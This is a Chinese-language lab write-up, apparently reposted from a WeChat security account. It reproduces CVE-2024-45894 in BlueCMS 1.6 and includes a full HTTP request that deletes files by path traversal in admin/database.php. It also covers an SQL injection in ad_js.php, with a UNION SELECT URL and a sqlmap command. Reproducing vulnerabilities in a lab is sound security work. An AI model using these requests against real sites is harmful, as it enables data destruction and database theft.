BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

admin 2024年10月13日00:45:36评论32 views字数 1800阅读6分0秒阅读模式

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

BlueCMS 1.6 安装包下载:

http://www.xsssql.com/wp-content/uploads/2024/10/bluecms-master1.6.zip

环境搭建:

下载phpstudy,启动nignx和mysql服务

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入随后创建网站,在浏览器直接访问

http://127.0.0.1/install

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

直接下一步

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

使用phpstudy创建数据库,并配置数据库信息BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

安装完成后如图:

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

访问管理后台,并登录到管理后台

http://127.0.0.1/admin/

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

通过删除robots.txt文件进行测试

poc如下

GET /admin/database.php?act=del&file_name=../../robots.txt HTTP/1.1Host: 10.10.10.5Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://10.10.10.5/admin/index.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=6inaqq37c2kes34gfthojnbcl7Connection: close

直接在浏览器访问/admin/database.php?act=del&file_name=../../robots.txt 地址即可进行任意文件删除

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

以上漏洞属于CVE-2024-45894

接下来我们使用seay新建项目,使用Seay进行自动审计,但这个分析只是单一的静态分析里面的代码和函数可能出现的漏洞

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

查看ad_js.php文件

ad_js.php中有变量$ad_id,这种情况就可以优先看,因此此时变量直接拼接在where列名(ad_id)之后。在注入时,大部分的注入语句都是在while后面的一个变量,通过跟踪那个变量值来注入。像上面的变量写在order by后面的就不一定能注入成功

如果$_GET['ad_id']存在且非空,则使用trim()函数去除ad_id字符串两侧的空白字符,然后将结果赋值给$ ad_id。如果$_GET['ad_id']不存在或为空,则$ ad_id被赋值为空字符串''

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

getone不是php的官方函数,那就是自定义函数,其功能应该是执行后面的SQL语句并将其值赋值给$ad,疑似有sql注入

通过查找文件发现getone方法在/include/mysql.class.php里面,查看函数声明

函数并没有过滤数据也没有进行参数化查看

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

    function getone($sql, $type=MYSQL_ASSOC){      $query = $this->query($sql,$this->linkid);      $row = mysql_fetch_array($query, $type);      return $row;    }

在浏览器访问测试

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

此处为了方便查看可以把sql语句打印输出

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

构造sql语句进行测试

http://10.10.10.5/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()

但是并没有结果回显。因为在getone函数执行sql语句之后并没有将结果进行输出,所以此类注入点一般采用延迟注入或者是报错注入(无回显)

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

使用sqlmap进行注入:

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

通过sqlmay注入获取表名:

sqlmap -u "http://10.10.10.5/ad_js.php?ad_id=0" -D testsce --tables

BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

原文始发于微信公众号(TEST安全):BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日00:45:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BlueCMS 1.6漏洞复现CVE-2024-45894任意删除文件漏洞+SQL注入https://cn-sec.com/archives/3260409.html

发表评论

匿名网友 填写信息